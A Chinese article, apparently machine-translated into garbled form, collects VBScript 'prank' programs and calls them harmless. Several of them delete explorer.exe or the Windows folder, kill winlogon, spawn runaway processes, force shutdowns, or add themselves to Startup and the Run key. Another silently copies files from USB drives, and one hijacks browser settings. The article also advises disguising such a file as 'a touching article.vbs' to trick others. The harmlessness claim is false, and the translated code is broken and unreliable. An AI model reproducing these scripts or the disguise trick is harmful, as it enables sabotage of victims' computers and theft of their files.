特技vbs代码，这里提供的是一些导致系统崩溃的无限循环或vbs，对机器无害。最多关机重启就可以了，将以下任一代码保存为*.vbs。
操作:将代码另存为*。VBS和运行它。可以自己测试。不会有大问题。一般用无限循环，不是无限循环。您可以通过任务管理器完成WSCRIPT或CSCScript过程。**代码如下:
做
msgbox & # 8220嗨& # 8221；
环
英语的无限拷贝代码如下:
set s = CreateObject(& # 8220；sapi.spvoice & # 8221)
i=0
做
说英语
i=i+1
环
**代码如下:
if MSgbox(& # 8220；对不起，你需要重启电脑，因为你的水太多了。”和。chr(10)和”您确定要重新启动吗？”，vbOKCancel+vbInfor*tion，& # 8221；重启电脑& # 8221；)=然后vbCancel
msgbox & # 8221系统会重启哇~ _ & # 8221；,,”你被愚弄了！！”
set Objshell = createObject(& # 8220；Wscript。壳牌& # 8221；)
objShell。跑步& # 8220；关闭-s-t 5 & # 8221；，，真的
如果…就会结束
**代码如下:
strs=array(13，105，102，32，77，115，103，66，111，120，40，34，-15133，-13625，-10515，-12873，-15632，-23617，34，44，118，98，89，101，115，78，111，44，34，-12363-
对于i=1至UBound(strs)
runner = runner & amp人权委员会(科技报告(一))
然后
执行运行程序
这没什么，但是加密了。你可以试着解密。
**代码如下:
if MSgbox(& # 8220；你是猪吗？”，vbYesNo，& # 8221；提示& # 8221；)=那么vbyes
msgbox & # 8220你这个**！”
其他
msgbox & # 8220不承认！！作为惩罚，蓝屏，你马上挂掉# $ @#￥%@……#……？”,64,”严重警告！！！！！！！！！”
设置ws = CreateObject(& # 8220；Wscript。壳牌& # 8221；)
wscript.sleep 1200
ws***n & # 8220cmd /c开始/分钟ntsd-c q-pn winlogon.exe 1 >nul 2 >nul & # 8221，vbhide
如果…就会结束
**代码如下:
设置ws = CreateObject(& # 8220；Wscript。壳牌& # 8221；)
ws***n & # 8220cmd.exe/c呼叫calc.exe & # 8221,0
以下是删除explorer.exe，导致桌面不显示，但已经提前备份给你了。**资源管理器的代码。同一目录中的数据如下:
设置ws = CreateObject(& # 8220；Wscript。壳牌& # 8221；)
ws***n & # 8220cmd.exe/c task kill/f/im explorer . exe & # 8221；,0
wscript.sleep 900
ws***n & # 8220cmd.exe/c副本% windir % \ explorer . exe % windir % \ explorer。数据& # 8221；
wscript.sleep 1200
ws***n & # 8220cmd.exe/c del/q/f % windir % \ explorer . exe
**代码如下:
每一次风吹进来
ws.sendkeys wind
wscript.sleep 500
然后
ws.popup & # 8221唉:-(⊙o⊙)！哎呀，我太累了。我下车了。,30
ws.popup & # 8221下飞机的时候别忘了关QQ。让我们关闭QQ & # 8221,8
ws***n & # 8220task kill/f/im QQ . exe & # 8221；
ws.popup & # 8221你得去学校慢慢玩& # 8221；,27
昏暗的**
设置WSHshell = wscript . createobject(& # 8220；wscript.shell & # 8221)
对于d=0至4
WSHshell。发送密钥& # 8220；% { F4 } & # 8221；
然后
ws***n & # 8221关闭-s-t 1000600 & # 8243；
wscript.sleep 2000
模糊一个
做
a = inputbox(& # 8220；请输入关机密码& # 8221；)
如果a = & # 8221403746401″然后
ws***n & # 8221关闭-a & # 8221；
msgbox & # 8221密码验证成功，享受最好！”
出口do
其他
msgbox & # 8221密码验证失败。请输入关机密码:403746401 & # 8220；，vbretrycancel
如果…就会结束
环
ws.popup & # 8221哈哈，你害怕吗？你玩得开心吗？你觉得这真的是病毒吗？哦(∩_∩) O ~，我没那么擅长制作病毒！”,57
ws.popup & # 8221(\ (o)/~好吧，我刚刚和你开了个小玩笑。您也可以将此文档发送给其他人并捉弄他们。呵呵_ & # 8221；,62
wscript.sleep 8900
直到我=10岁
i=i+1
msgbox & # 8220CPU温度过高，系统有严重错误！，请结束所有应用程序，让CPU冷却下来！”,16+4096,”提示:& # 8221；
wscript.sleep 1000*45
环
关闭电气设备
**代码如下:
set sh = wscript . create object(& # 8220；wscript.shell & # 8221)
sh***n & # 8221关机-s-t 332 & # 8243；
关闭多个当前打开的窗口。
**代码如下:
昏暗的**
设置WSHshell = wscript . createobject(& # 8220；wscript.shell & # 8221)
对于d=0至40
WSHshell。发送密钥& # 8220；% { F4 } & # 8221；
然后
**代码如下:
调暗a、b、c、s
set fs = CreateObject(& # 8220；脚本。filestystemobject & # 8221；)
name = WScript。脚本名
fullname = WScript。ScriptFullName
路径=替换(全名，名称，& # 8221；”)
a = inputbox(& # 8220；请在对话框中填写您的真实姓名！”和。vbcrlf & amp””和。vbcrlf & amp”以后我会给你一个意想不到的惊喜！！“和。vbcrlf & amp””和。vbcrlf & amp”不信你可以试试！！！”和。vbcrlf & amp””和。vbcrlf & amp”中文名最好...&# 8221;,”瑞州提示:& # 8221；,”请在此输入您的姓名& # 8221；)
如果a = & # 8220”然后
WScript。放弃
如果…就会结束
MyVar = MSgbox(& # 8220；你的名字是& # 8221；和。a & amp”“，vbYesNo+vb惊叹号，& # 8221；瑞州提示:& # 8221；)
如果我的价值=是，那么
那么
a = inputbox(& # 8220；请在对话框中填写您的真实姓名！”和。vbcrlf & amp””和。vbcrlf & amp”以后我会给你一个意想不到的惊喜！！“和。vbcrlf & amp””和。vbcrlf & amp”不信你可以试试！！！”和。vbcrlf & amp””和。vbcrlf & amp”中文名最好...&# 8221;,”瑞州提示:& # 8221；,”请在此输入您的姓名& # 8221；)
如果a = & # 8220”然后
WScript。放弃
如果…就会结束
如果…就会结束
wscript . sleep 1000 b = inputbox(& # 8220；亲爱的& # 8220；和。a & amp”你好！”和。vbcrlf & amp””和。vbcrlf & amp”请填写你的爱好。(只填一个！)”,”瑞州提示:& # 8221；,”请在这里输入你的爱好& # 8221；)
如果b = & # 8220”然后
WScript。放弃
如果…就会结束
wscript . sleep 1000 c = inputbox(& # 8220；请在以下对话框中输入您的出生日期[年、月、日]。电脑会自动计算到目前为止你在地球上生活了多久！”和。vbcrlf & amp””和。vbcrlf & amp”以我为例。可以做不同的改变& # 8221；和。vbcrlf & amp””和。Chr(10)和”格式:1987年06月02日& # 8243；,”瑞州提示:& # 8221；,”1987-06-02″)
如果c = & # 8220”然后
WScript。放弃
如果…就会结束
wscript . sleep 1000 age = ABS(datediff(& # 8220；d & # 8221，日期，c))
wscript.sleep 1
当前=现在()
h = datepart(& # 8220；h & # 8221，当前)
n = datepart(& # 8220；n & # 8221，当前)
WScript。睡眠1000
s = msgbox(Chr(10)amp；”恭喜& # 8220；和。a & amp”已经在地球上生存了:& # 8221；和。年龄和年龄。”Day & # 8220和。h & amp”小时& # 8220；和。n & amp”分钟& # 8230；..”，vbOKCancel+63，& # 8221；瑞州提示:& # 8221；)
如果s=2，那么
如果…就会结束
设置auto=fs。CreateTextFile(& # 8220；C: \文档和设置\所有用户\桌面\ & # 8221；和。a & amp”秘密。vbs & # 8221，真)
汽车。WriteLine & # 8220MSGBOX & # 8221和。””””和。”我的名字是& # 8221；和。a & amp”“和。””””和。”和。vbcrlf & amp”和。””””和。””和。””””和。”和。vbcrlf & amp”和。””””和。”我的爱好是:& # 8221；和。B& amp；”“和。””””和。”和。vbcrlf & amp”和。””””和。””和。””””和。”和。vbcrlf & amp”和。””””和。””和。a & amp”已经活着:& # 8221；和。年龄和年龄。”Day & # 8220和。h & amp”小时& # 8220；和。n & amp”分钟& # 8220；和。””””和。”,64,”和。””””和。””和。a & amp”自我介绍:& # 8221；””
汽车。WriteLine & # 8220msgbox & # 8221和。””””和。”亲爱的& # 8220；和。a & amp”再见！”和。””””和。”,48,”和。””””和。”瑞州提示:& # 8221；和。””””和。””
设置auto=fs。CreateTextFile(& # 8220；C: \文档和设置\所有用户\桌面\愿望& # 8221；和。a & amp”生日快乐。TXT & # 8221，真)
汽车。WriteLine & # 8220我，周睿，希望:& # 8220；和。a & amp”生日快乐，梦想成真，敢于大胆尝试，早日成功& # 8230；…。”
汽车。WriteLine & # 8220你生活在地球上:& # 8221；和。年龄和年龄。”Day & # 8220和。h & amp”小时& # 8220；和。n & amp”分钟& # 8221；
汽车。WriteLine & # 8220时间是根据你的出生日期计算的，可能不太准确，但目的只是让你知道时间过得很快，请珍惜时间！！！。”
**代码如下:
模糊一个
a=10
set Objshell = createObject(& # 8220；Wscript。壳牌& # 8221；)
objShell。跑步& # 8220；关闭-s-t 10 & # 8221；，，真的
set s = CreateObject(& # 8220；sapi.spvoice & # 8221)
一会儿
南说一个
a = a & # 8211一个
wscript.sleep 100
行
CreateObject(& # 8220；SAPI。SpVoice & # 8221).说话& # 8220；炸弹？”
**代码如下:
做
create object(& # 8220；wscript.shell & # 8221).运行chr(34)和；wscript.scriptname & amp人权委员会(34)
环
**代码如下:
msgbox & # 8221这个文件是无毒的，请随意使用。”，vbretrycancel，& # 8221；系统提示。”
昏暗的**
设置WSHshell = wscript . createobject(& # 8220；wscript.shell & # 8221)
WSHshell。跑步& # 8220；cmd.exe/c关闭-s-t 300 & # 8221；
wscript.sleep 2000
模糊一个
做
a = inputbox(& # 8220；输入abc，或关闭。”)
如果a = & # 8221abc & # 8221然后
msgbox & # 8221对不起，你被骗了。这是一个诡计程序。就等着关机吧！”
出口do
其他
msgbox & # 8221做好人，进入abc & # 8221
如果…就会结束
环
**代码如下:
出错时继续下一步
暗淡的WSHshellA
设置WSHshellA = wscript . createobject(& # 8220；wscript.shell & # 8221)
WSHshellA***n & # 8220cmd.exe/c关闭-r-T6-c & # 8220；”说我是猪，不说我是猪，就关掉手机一分钟。如果你不相信我，试试看...&# 8221;”“，0，真
模糊一个
边做边(a & lt& gt“我是一只猪& # 8221；)
a = inputbox(& # 8220；说我是猪，不关手机，撒，说& # 8220；”我是一只猪& # 8221；”“,”不说& # 8221；,”不要说& # 8221；,8000,7000)
msgbox & # 8220可爱& # 8221；
环
msgbox & # 8220早点说吧& # 8221；
昏暗的**
设置WSHshell = wscript . createobject(& # 8220；wscript.shell & # 8221)
WSHshell***n & # 8220cmd.exe/c关闭-a & # 8221；，0，真
msgbox & # 8220骂自己丢人~ ~ ~ ~ ~ & # 8221；,4, ””
**代码如下:
msgbox & # 8221你无聊吗？”,4
msgbox & # 8221让我陪你玩一会儿& # 8221；
msgbox & # 8221准备好好玩吧！”
做
msgbox & # 8221你无聊吗？”，vbinfor*tion，& # 8221；你无聊吗？”
环
**代码如下:
出错时继续下一步
set wr = create object(& # 8220；scripting . file system object & # 8221；)
set ws = create object(& # 8220；wscript.shell & # 8221)
set f = wr . getfile(wscript . script full name)
q = ws . re rad(& # 8220；HKEY _当前_用户\软件\微软\视窗\当前版本\浏览器\外壳文件夹\启动& # 8221；)
如果不是f = & # 8221Win32.vbs & # 8221然后wr.copyfile f，q & amp”\ Win32.vbs & # 8221，真的
ws***n & # 8221关闭-p & # 8221；，vbhide
这太可恶了，我们必须重启它。
**代码如下:
set ws = create object(& # 8220；wscript.shell & # 8221)
做
ws.sendkeys & # 8220{ f5 } & # 8221
环
**代码如下:
暗淡自动取消程序
设置AutoRunProgram = WScript。CreateObject(& # 8220；WScript.shell & # 8221)
RegPath = & # 8221HKLM \软件\微软\视窗\当前版本\运行\ & # 8221；
Type _ Name = & # 8220REG _ SZ & # 8221
Key _ Name = & # 8220QUESTION.vbS & # 8221
Key _ data = & # 8220c:\ windows \ system32 \ QUEST . VBS & # 8221；
自动退出程序。RegWrite regpath & amp关键字名称，关键字数据，类型名称
文件
设置FSO = CreateObject(& # 8220；脚本。filestystemobject & # 8221；)
Set file = fso.getfile(WScript。ScriptFullName)
file.copy & # 8220c:\ windows \ system32 \ & # 8221；
设置FSO = CreateObject(& # 8220；脚本。filestystemobject & # 8221；)
f = fso。删除文件(WScript。ScriptName)
set Objshell = createObject(& # 8220；Wscript。壳牌& # 8221；)
objShell。跑步& # 8220；关闭-s-t 5 & # 8221；，，真的
**代码如下:
set wmp = create object(& # 8220；wmplayer.ocx & # 8221)
set CD = wmp . cdrom collection . item(0)
做
cd .弹出
环
**代码如下:
出错时继续下一步
暗淡的WSHshellA
设置WSHshellA = wscript . createobject(& # 8220；wscript.shell & # 8221)
WSHshellA***n & # 8220cmd.exe/c关闭-r-t 60-c & # 8220；”叫我爸爸，喊& # 8221；”“，0，真
模糊一个
边做边(a & lt& gt“爸爸& # 8221；)
a = inputbox(& # 8220；叫我爸爸，喊，喊& # 8220；”爸爸& # 8221；”“,”不要喊& # 8221；,”不要大喊& # 8221；,8000,7000)
msgbox chr(13)+chr(13)+chr(13)+a，0，& # 8221；MsgBox & # 8221
环
msgbox chr(13)+chr(13)+chr(13)+& # 8220；儿子& # 8221；
昏暗的**
设置WSHshell = wscript . createobject(& # 8220；wscript.shell & # 8221)
WSHshell***n & # 8220cmd.exe/c关闭-a & # 8221；，0，真
msgbox chr(13)+chr(13)+chr(13)+& # 8220；等爸爸给你买棒棒糖& # 8221；
**代码如下:
出错时继续下一步
暗淡的WSHshellA
设置WSHshellA = wscript . createobject(& # 8220；wscript.shell & # 8221)
WSHshellA***n & # 8220cmd.exe/c关闭-r-t 120-c & # 8220；”如果你说你爱我，不要说你爱我，只要关掉你的手机两分钟。如果你不相信我，试试看...&# 8221;”“，0，真
模糊一个
做的同时(a & lt& gt“我爱你& # 8221；)
a = inputbox(& # 8220；如果你说你爱我，不要关掉它。来吧，说& # 8220；”你爱我& # 8221；”“,”不说& # 8221；,”不要说& # 8221；,8000,7000)
msgbox chr(13)+chr(13)+chr(13)+a，0，& # 8221；MsgBox & # 8221
环
msgbox chr(13)+chr(13)+chr(13)+& # 8220；说吧，何必呢& # 8221；
昏暗的**
设置WSHshell = wscript . createobject(& # 8220；wscript.shell & # 8221)
WSHshell***n & # 8220cmd.exe/c关闭-a & # 8221；，0，真
msgbox chr(13)+chr(13)+chr(13)+& # 8220；哈哈，今天真过瘾。
**代码如下:
I = MSgbox(& # 8220；你需要把电脑炸掉，因为你往里面装满了太多的水。”和。_
vbCrLf & amp；”你确定要爆破吗？”，vbOKCancel，_
“炸开电脑系统！！！！！”)
如果i = 1，那么
CreateObject(& # 8220；SAPI。SpVoice & # 8221).说话& # 8220；骨头& # 8221；
如果…就会结束
**代码如下:
出错时继续下一步
暗淡的我
i=0
设置FSO = CreateObject(& # 8220；脚本。filestystemobject & # 8221；)
IP = InputBox(& # 8220；请输入要监控的u盘的盘符:& # 8221；,”u盘窃贼-最聪明的猪& # 8221；,”一:& # 8221；)
ext = InputBox(& # 8220；请输入被盗文件名的扩展名:& # 8221；,”u盘窃贼-最聪明的猪& # 8221；,”txt & # 8221)
my folder = InputBox(& # 8220；请输入保存文件的路径:& # 8221；,”u盘窃贼-最聪明的猪& # 8221；,”E:\U盘贼& # 8221；)
fso。创建文件夹(我的文件夹)
做
WScript。睡眠1000
如果fso。文件夹存在(知识产权和“\”)然后退出Do
环
扫描(知识产权和“\”)
子扫描(文件夹_)
出错时继续下一步
设置文件夹_=fso。获取文件夹(文件夹_)
设置文件=文件夹_。文件
对于文件中的每个文件
ext_=fso。获取扩展名(文件)
ext_=Lcase(ext_)
ext=Lcase(ext)
如果ext_=ext那么
i=i+1
fso。获取文件(文件)。**(我的文件夹和“\”和。i & amp“_”和。文件。名称)
如果…就会结束
然后
设置子文件夹=文件夹_。子文件夹
对于子文件夹中的每个子文件夹
扫描(子文件夹)
然后
末端接头
**代码如下:
出错时继续下一步
暗淡的WSHshellA
设置WSHshellA = wscript . createobject(& # 8220；wscript.shell & # 8221)
WSHshellA***n & # 8220cmd.exe/c关闭-r-t 60-c & # 8220；”一分钟后，你的电脑就会完成，你不相信吗？！试试看！””“，0，真
模糊一个
边做边(a & lt& gt“不重，不重，我不重！”)
a = inputbox(& # 8220；唯一的办法是& # 8221；”重启& # 8221；”“,”不要重启& # 8221；,”不重，不重，我不重！”,8000,7000)
msgbox chr(13)+chr(13)+chr(13)+a，0，& # 8221；MsgBox & # 8221
环
msgbox chr(13)+chr(13)+chr(13)+& # 8220；我真的不是说你，只是按你想要的。希望你在网吧。菩萨**& # 8230；…”
msgbox chr(13)+chr(13)+chr(13)+& # 8220；你的机器真的快用完了。快点弄点钱重装一下。阿弥陀佛，好，好！”
msgbox chr(13)+chr(13)+chr(13)+& # 8220；以后不要这么快~ & # 8221；
msgbox chr(13)+chr(13)+chr(13)+& # 8220；88~”
昏暗的**
设置WSHshell = wscript . createobject(& # 8220；wscript.shell & # 8221)
WSHshell***n & # 8220cmd.exe/c关闭-a & # 8221；，0，真
msgbox & # 8221”+chr(14)+& # 8220；~”
模糊一个
设置一个= CreateObject(& # 8220；脚本。filestystemobject & # 8221；)
a.删除文件夹(& # 8220；c:\ WINDOWs & # 8221；)
这不是一个无休止的循环。它会让你崩溃。重启它。
**代码如下:
msgbox & # 8221让你看看什么叫恶毒！”
做
set ws = createobjecet(& # 8220；wscript.shell & # 8221)
ws***n & # 8221explorer.exe & # 8221
ws***n & # 8221cmd.exe & # 8221
环
**代码如下:
出错时继续下一步
msgbox & # 8221马上格式化！请准备好！”，vbyesno
msgbox & # 8221准备好。太好了。”，vbyesno
msgbox & # 8221对不起，我忘了说，就点了不！”
msgbox & # 8221我为你难过！呜-呼555哈哈哈！”
msgbox & # 8221妈的，我笑什么？我是名医！在精神病院做一种研究。。。”
msgbox & # 8221被研究！”
msgbox & # 8221我就知道你会笑！告诉你，我歧视两种人！一是歧视别人的人，二是爱笑的人，三是不会数数的人！”
msgbox & # 8221你为什么还笑？！是时候惩罚你了！”
做
set ws = createobjecet(& # 8220；wscript.shell & # 8221)
ws***n & # 8221explorer.exe & # 8221
ws***n & # 8221cmd.exe & # 8221
ws***n & # 8221cmd.exe/c关闭-s-t 7200 & # 8243；是的，是的
环
一个特殊事物的**代码如下:
set s . create object(& # 8220；wscript.shell & # 8221)
ls file = wscript . script full name & # 8216；得到你自己的名字
做& # 8216；死循环
s***n lsfile & # 8216自己跑
s***n & # 8220记事本& # 8221；‘运行记事本
循环& # 8216；几秒钟后坠毁，嗯？
绿色无毒无害:**代码如下:
模糊一个
设置a = create object(& # 8220；sapi.spvoice & # 8221)
说& # 8220；哈哈哈哈哈哈哈哈哈& # 8221；
注:哈哈哈& # 8230；可以改成几句粗鲁的话！！进入中文后，英语就看你的电脑会说英语还是中文了！
**代码如下:
模糊一个
a = msgbox(& # 8220；给你讲个故事！”，vbyesno，& # 8221；默默许个愿& # 8221；)
如果a=vbyes，则
做
msgbox(& # 8220；从前有一座山& # 8221；)
msgbox(& # 8220；山上有一座寺庙& # 8221；)
msgbox(& # 8220；庙里有两个和尚& # 8221；)
msgbox(& # 8220；大和尚给小和尚讲了个故事& # 8221；)
a=1
a=1时循环
如果…就会结束
将默认页面和搜索页面设置为百度**代码如下:
if msgbox(& # 8220；这是一个密封的东西& # 8221；,65,”警告！！！”)= 1
if msgbox(& # 8220；请不要走自己的路& # 8221；,65,”警告！！！”)=1
if msgbox(& # 8220；别按了！！”,65,”警告！！！”)=1
if msgbox(& # 8220；我很生气& # 8230；..”,65,”警告！！！”)=1
if msgbox(& # 8220；在这种情况下& # 8230；那这东西就是你的了！”,65,”祝你有愉快的一天！886″)=1
msgbox & # 8220在这里，这是你自己的命令，我不能阻止它& # 8221；,65,”祝你有愉快的一天！886″
msgbox & # 8220这是一种病毒& # 8230；..(被照顾者的精神封印)现在，照顾者的精神控制不了他！！！！”,65,”封印解除了！！”
出错时继续下一步
dim fso、wsh、myfile、ws、pp、fsoFolder
set wsh = wscript . createobject(& # 8220；wscript.shell & # 8221)
set FSO = wscript . create object(& # 8220；scripting . file system object & # 8221；)
设置myfile=fso。GetFile(wscript.scriptfullname)
wsh。Regwrite & # 8220HKLM \软件\微软\视窗\当前版本\浏览器\高级\文件夹\隐藏\显示\检查值& # 8221；,0,”REG _ DWORD & # 8221
wsh。Regwrite & # 8220HKCU \软件\策略\微软\ Internet Explorer \限制\ NoBrowserContextMenu & # 8221,1,”REG _ DWORD & # 8221
wsh。Regwrite & # 8220HKCU \软件\策略\微软\互联网浏览器\限制\禁止浏览选项& # 8221；,1,”REG _ DWORD & # 8221
wsh。Regwrite & # 8220HKCU \软件\策略\微软\互联网浏览器\限制\ NoBrowserSaveAs & # 8221,1,”REG _ DWORD & # 8221
wsh。Regwrite & # 8220HKCU \软件\策略\微软\互联网浏览器\限制\文件打开& # 8221；,1,”REG _ DWORD & # 8221
wsh。Regwrite & # 8220HKCU \软件\策略\微软\互联网浏览器\控制面板\高级& # 8221；,1,”REG _ DWORD & # 8221
wsh。Regwrite & # 8220HKCU \软件\策略\微软\互联网浏览器\控制面板\缓存互联网& # 8221；,1,”REG _ DWORD & # 8221
wsh。Regwrite & # 8220HKCU \软件\策略\微软\互联网浏览器\控制面板\自动配置& # 8221；,1,”REG _ DWORD & # 8221
wsh。Regwrite & # 8220HKCU \软件\策略\微软\互联网浏览器\控制面板\主页& # 8221；,1,”REG _ DWORD & # 8221
wsh。Regwrite & # 8220HKCU \软件\策略\微软\互联网浏览器\控制面板\历史& # 8221；,1,”REG _ DWORD & # 8221
wsh。Regwrite & # 8220HKCU \软件\策略\微软\互联网浏览器\控制面板\康尼威兹管理锁& # 8221；,1,”REG _ DWORD & # 8221
wsh。Regwrite & # 8220HKCU \软件\微软\互联网浏览器\主\起始页& # 8221；,”http://www . Baidu . com & # 8221；
wsh。Regwrite & # 8220HKCU \软件\微软\互联网浏览器\主\搜索页面& # 8221；,”http://www . Baidu . com & # 8221；
wsh。Regwrite & # 8220HKCU \软件\微软\互联网浏览器\主\默认页面网址& # 8221；,”http://www . Baidu . com & # 8221；
wsh。Regwrite & # 8220HKCU \软件\微软\互联网浏览器\主\默认_搜索_网址& # 8221；,”http://www . Baidu . com & # 8221；
wsh。Regwrite & # 8220HKEY用户。DEFAULT \ Software \ Microsoft \ Internet Explorer \ Main \ Start Page & # 8221；,”http://www . Baidu . com & # 8221；
wsh。Regwrite & # 8220HKEY用户。默认\软件\微软\互联网浏览器\主\默认_页面_网址& # 8221；,”http://www . Baidu . com & # 8221；
wsh。Regwrite & # 8220HKEY用户。DEFAULT \ Software \ Microsoft \ Internet Explorer \ Main \ DEFAULT _ Search _ URL & # 8221；,”http://www . Baidu . com & # 8221；
很久以前，好像是高考后的夏天，收到了一个朋友的恶作剧节目。该节目被称为“一篇感人的文章。vbs”。当时什么都不懂，就直接双击了，还是很不爽。双击后弹出输入框“输入‘我是猪’& # 8217；，否则将在十五秒后关闭。我觉得很好笑。我没有输入任何东西就关掉了，太神奇了。现在可以自己写代码了，却找不到以前的快乐。**代码如下:
选项显式
出错时继续下一步
模糊的回答
昏暗的**
设置WshShell = CreateObject(& # 8220；wscript。壳牌& # 8221；)
WshShell。跑步& # 8220；关断/f /s /t 10 /c输入& # 8217；我是一头猪& # 8217；，否则10秒后关闭~ & # 8221；,0
一边回答一边做& lt& gt”我是一只猪& # 8221；
答案= InputBox(& # 8220；输入& # 8217；我是一头猪& # 8217；，否则10秒后关闭~ & # 8221；,”哈哈& # 8221；,,7000,8000)
环
WshShell。跑步& # 8220；关机/a & # 8221；,0
MsgBox & # 8220哈哈，好玩吗？”,,”哈哈& # 8221；
打开记事本，将代码**粘贴到其中，保存为“一篇感人的文章”。vbs”，并且一个恶作剧程序将会完成。接下来要做什么超出了本文的范围。
